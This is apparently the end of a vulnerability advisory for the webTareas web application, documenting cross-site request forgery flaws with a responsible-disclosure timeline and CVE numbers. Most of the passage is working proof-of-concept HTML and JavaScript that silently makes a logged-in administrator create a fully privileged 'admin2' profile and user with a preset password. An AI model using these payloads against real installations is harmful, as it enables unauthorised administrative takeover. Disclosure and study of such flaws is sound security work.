      <input type="hidden" name="perm&#91;80&#93;" value="Invoice&#124;Admin" />
      <input type="hidden" name="perm&#91;81&#93;" value="Payment&#124;Read" />
      <input type="hidden" name="perm&#91;82&#93;" value="Payment&#124;Write" />
      <input type="hidden" name="perm&#91;83&#93;" value="Payment&#124;Edit" />
      <input type="hidden" name="perm&#91;84&#93;" value="Payment&#124;Admin" />
      <input type="hidden" name="perm&#91;85&#93;" value="Expense&#124;Read" />
      <input type="hidden" name="perm&#91;86&#93;" value="Expense&#124;Write" />
      <input type="hidden" name="perm&#91;87&#93;" value="Expense&#124;Edit" />
      <input type="hidden" name="perm&#91;88&#93;" value="Expense&#124;Admin" />
      <input type="hidden" name="perm&#91;89&#93;" value="Calendar&#124;Read" />
      <input type="hidden" name="perm&#91;90&#93;" value="Calendar&#124;Admin" />
      <input type="hidden" name="perm&#91;91&#93;" value="Extension&#124;Admin" />
      <input type="hidden" name="perm&#91;92&#93;" value="Print&#32;Layout&#124;Admin" />
      <input type="hidden" name="n" value="admin2" />
      <input type="hidden" name="np" value="admin2" />
      <input type="hidden" name="dep" value="0" />
      <input type="hidden" name="loc" value="0" />
      <input type="hidden" name="langd" value="" />
      <input type="hidden" name="dtft" value="" />
      <input type="hidden" name="tmft" value="" />
      <input type="hidden" name="wc" value="0" />
      <input type="hidden" name="drc" value="0" />
      <input type="hidden" name="vals&#91;0&#93;" value="Y" />
      <input type="hidden" name="vals&#91;1&#93;" value="Y" />
      <input type="hidden" name="vals&#91;4&#93;" value="Y" />
      <input type="hidden" name="vals&#91;5&#93;" value="Y" />
      <input type="hidden" name="vals&#91;6&#93;" value="Y" />
      <input type="hidden" name="vals&#91;7&#93;" value="Y" />
      <input type="hidden" name="vals&#91;9&#93;" value="Y" />
      <input type="hidden" name="vals&#91;10&#93;" value="Y" />
      <input type="hidden" name="vals&#91;11&#93;" value="Y" />
      <input type="hidden" name="vals&#91;14&#93;" value="Y" />
      <input type="hidden" name="vals&#91;15&#93;" value="Y" />
      <input type="hidden" name="vals&#91;18&#93;" value="Y" />
      <input type="hidden" name="vals&#91;19&#93;" value="Y" />
      <input type="hidden" name="vals&#91;22&#93;" value="Y" />
      <input type="hidden" name="vals&#91;23&#93;" value="Y" />
      <input type="hidden" name="vals&#91;25&#93;" value="Y" />
      <input type="hidden" name="vals&#91;27&#93;" value="Y" />
      <input type="hidden" name="vals&#91;30&#93;" value="Y" />
      <input type="hidden" name="vals&#91;31&#93;" value="Y" />
      <input type="hidden" name="vals&#91;34&#93;" value="Y" />
      <input type="hidden" name="vals&#91;36&#93;" value="Y" />
      <input type="hidden" name="vals&#91;37&#93;" value="Y" />
      <input type="hidden" name="vals&#91;40&#93;" value="Y" />
      <input type="hidden" name="vals&#91;41&#93;" value="Y" />
      <input type="hidden" name="vals&#91;43&#93;" value="Y" />
      <input type="hidden" name="vals&#91;46&#93;" value="Y" />
      <input type="hidden" name="vals&#91;47&#93;" value="Y" />
      <input type="hidden" name="vals&#91;50&#93;" value="Y" />
      <input type="hidden" name="vals&#91;51&#93;" value="Y" />
      <input type="hidden" name="vals&#91;54&#93;" value="Y" />
      <input type="hidden" name="vals&#91;55&#93;" value="Y" />
      <input type="hidden" name="vals&#91;56&#93;" value="Y" />
      <input type="hidden" name="vals&#91;59&#93;" value="Y" />
      <input type="hidden" name="vals&#91;60&#93;" value="Y" />
      <input type="hidden" name="vals&#91;62&#93;" value="Y" />
      <input type="hidden" name="vals&#91;64&#93;" value="Y" />
      <input type="hidden" name="vals&#91;66&#93;" value="Y" />
      <input type="hidden" name="vals&#91;68&#93;" value="Y" />
      <input type="hidden" name="vals&#91;69&#93;" value="Y" />
      <input type="hidden" name="vals&#91;71&#93;" value="Y" />
      <input type="hidden" name="vals&#91;73&#93;" value="Y" />
      <input type="hidden" name="vals&#91;75&#93;" value="Y" />
      <input type="hidden" name="vals&#91;77&#93;" value="Y" />
      <input type="hidden" name="vals&#91;80&#93;" value="Y" />
      <input type="hidden" name="vals&#91;81&#93;" value="Y" />
      <input type="hidden" name="vals&#91;84&#93;" value="Y" />
      <input type="hidden" name="vals&#91;85&#93;" value="Y" />
      <input type="hidden" name="vals&#91;88&#93;" value="Y" />
      <input type="hidden" name="vals&#91;89&#93;" value="Y" />
      <input type="hidden" name="vals&#91;90&#93;" value="Y" />
      <input type="hidden" name="vals&#91;91&#93;" value="Y" />
      <input type="hidden" name="vals&#91;92&#93;" value="Y" />
      <input type="hidden" name="Save" value="Save" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Enable the local web server on the attacker machine:

sudo /etc/init.d/apache2 start

From an authenticated browser session with administrative privileges, open a new tab and go to the page http://127.0.0.1/csrf.html.

CSRF PoC HTML page

Select Submit request, to force the administrator to create a new administrator profile named admin2.
The request will be sent to the web application correctly:

CSRF PoC HTTP request sent

In the same way, the attacker will send another HTML page requesting the administrator to create a new user, but this time with the new admin2 profile:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http:\/\/www.webtareas.net\/users\/edituser.php?", true);
        xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart\/form-data;boundary=---------------------------344591365341958811843854665485");
        xhr.withCredentials = true;
        var body = "-----------------------------344591365341958811843854665485\r\n" + 
          "Content-Disposition: form-data; name=\"action\"\r\n" + 
          "\r\n" + 
          "add\r\n" + 
          "-----------------------------344591365341958811843854665485\r\n" + 
          "Content-Disposition: form-data; name=\"un\"\r\n" + 
          "\r\n" + 
          "admin2\r\n" + 
          "-----------------------------344591365341958811843854665485\r\n" + 
          "Content-Disposition: form-data; name=\"fn\"\r\n" + 
          "\r\n" + 
          "admin2\r\n" + 
          "-----------------------------344591365341958811843854665485\r\n" + 
          "Content-Disposition: form-data; name=\"gender\"\r\n" + 
          "\r\n" + 
          "F\r\n" + 
          "-----------------------------344591365341958811843854665485\r\n" + 
          "Content-Disposition: form-data; name=\"perm\"\r\n" + 
          "\r\n" + 
          "8\r\n" + 
          "-----------------------------344591365341958811843854665485\r\n" + 
          "Content-Disposition: form-data; name=\"dep\"\r\n" + 
          "\r\n" + 
          "0\r\n" + 
          "-----------------------------344591365341958811843854665485\r\n" + 
          "Content-Disposition: form-data; name=\"tit\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------344591365341958811843854665485\r\n" + 
          "Content-Disposition: form-data; name=\"em\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------344591365341958811843854665485\r\n" + 
          "Content-Disposition: form-data; name=\"em1\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------344591365341958811843854665485\r\n" + 
          "Content-Disposition: form-data; name=\"wp\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------344591365341958811843854665485\r\n" + 
          "Content-Disposition: form-data; name=\"hp\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------344591365341958811843854665485\r\n" + 
          "Content-Disposition: form-data; name=\"mp\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------344591365341958811843854665485\r\n" + 
          "Content-Disposition: form-data; name=\"fax\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------344591365341958811843854665485\r\n" + 
          "Content-Disposition: form-data; name=\"supr\"\r\n" + 
          "\r\n" + 
          "0\r\n" + 
          "-----------------------------344591365341958811843854665485\r\n" + 
          "Content-Disposition: form-data; name=\"agent\"\r\n" + 
          "\r\n" + 
          "0\r\n" + 
          "-----------------------------344591365341958811843854665485\r\n" + 
          "Content-Disposition: form-data; name=\"loc\"\r\n" + 
          "\r\n" + 
          "0\r\n" + 
          "-----------------------------344591365341958811843854665485\r\n" + 
          "Content-Disposition: form-data; name=\"la\"\r\n" + 
          "\r\n" + 
          "en\r\n" + 
          "-----------------------------344591365341958811843854665485\r\n" + 
          "Content-Disposition: form-data; name=\"dtft\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------344591365341958811843854665485\r\n" + 
          "Content-Disposition: form-data; name=\"tmft\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------344591365341958811843854665485\r\n" + 
          "Content-Disposition: form-data; name=\"wc\"\r\n" + 
          "\r\n" + 
          "1\r\n" + 
          "-----------------------------344591365341958811843854665485\r\n" + 
          "Content-Disposition: form-data; name=\"bftI\"\r\n" + 
          "\r\n" + 
          "2021-09-28\r\n" + 
          "-----------------------------344591365341958811843854665485\r\n" + 
          "Content-Disposition: form-data; name=\"ifb\"\r\n" + 
          "\r\n" + 
          "0\r\n" + 
          "-----------------------------344591365341958811843854665485\r\n" + 
          "Content-Disposition: form-data; name=\"c\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------344591365341958811843854665485\r\n" + 
          "Content-Disposition: form-data; name=\"file1\"; filename=\"\"\r\n" + 
          "Content-Type: application/octet-stream\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------344591365341958811843854665485\r\n" + 
          "Content-Disposition: form-data; name=\"attnam1\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------344591365341958811843854665485\r\n" + 
          "Content-Disposition: form-data; name=\"atttmp1\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------344591365341958811843854665485\r\n" + 
          "Content-Disposition: form-data; name=\"act\"\r\n" + 
          "\r\n" + 
          "X\r\n" + 
          "-----------------------------344591365341958811843854665485\r\n" + 
          "Content-Disposition: form-data; name=\"pw\"\r\n" + 
          "\r\n" + 
          "Password1\r\n" + 
          "-----------------------------344591365341958811843854665485\r\n" + 
          "Content-Disposition: form-data; name=\"pwa\"\r\n" + 
          "\r\n" + 
          "Password1\r\n" + 
          "-----------------------------344591365341958811843854665485\r\n" + 
          "Content-Disposition: form-data; name=\"cn\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------344591365341958811843854665485\r\n" + 
          "Content-Disposition: form-data; name=\"pass1\"\r\n" + 
          "\r\n" + 
          "Y\r\n" + 
          "-----------------------------344591365341958811843854665485\r\n" + 
          "Content-Disposition: form-data; name=\"pass2\"\r\n" + 
          "\r\n" + 
          "Y\r\n" + 
          "-----------------------------344591365341958811843854665485\r\n" + 
          "Content-Disposition: form-data; name=\"txt0\"\r\n" + 
          "\r\n" + 
          "Type new password\r\n" + 
          "-----------------------------344591365341958811843854665485\r\n" + 
          "Content-Disposition: form-data; name=\"txt1\"\r\n" + 
          "\r\n" + 
          "Need more characters\r\n" + 
          "-----------------------------344591365341958811843854665485\r\n" + 
          "Content-Disposition: form-data; name=\"txt2\"\r\n" + 
          "\r\n" + 
          "Strength weak\r\n" + 
          "-----------------------------344591365341958811843854665485\r\n" + 
          "Content-Disposition: form-data; name=\"txt3\"\r\n" + 
          "\r\n" + 
          "Strength medium\r\n" + 
          "-----------------------------344591365341958811843854665485\r\n" + 
          "Content-Disposition: form-data; name=\"txt4\"\r\n" + 
          "\r\n" + 
          "Strength strong\r\n" + 
          "-----------------------------344591365341958811843854665485\r\n" + 
          "Content-Disposition: form-data; name=\"txt5\"\r\n" + 
          "\r\n" + 
          "Two new passwords did not match\r\n" + 
          "-----------------------------344591365341958811843854665485\r\n" + 
          "Content-Disposition: form-data; name=\"Save\"\r\n" + 
          "\r\n" + 
          "Save\r\n" + 
          "-----------------------------344591365341958811843854665485--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
  </body>
</html>

Select Submit request, to force the administrator to create a new administrator user named admin2 with a pre-chosen password.
The request will be sent to the web application correctly:

CSRF PoC HTTP request sent

Security Impact

By exploiting this issue, a remote attacker is able to add an administrator user profile and user account on behalf of a regular platform administrator.

Timeline

  • 29/09/2021: First disclosure via SourceForge ticket, in private mode. Same day the owner take charge of it.
  • 01/10/2021: First patch release (2.4p1), and the advisory is published on this blog page.
  • 02/10/2021: I checked the same issues and suggested few improvements, IMHO.
  • 07/10/2021: Second patch release (2.4p2), and the advisory is published on this blog page.
  • 08/10/2021: Published CVEs on MITRE.
  • 15/10/2021: NVD scored CVE-2021-41916 and CVE-2021-41919 as 8.8 (High), CVE-2021-41920 as 7.5 (High), CVE-2021-41917 and CVE-2021-41918 as 5.4 (Medium).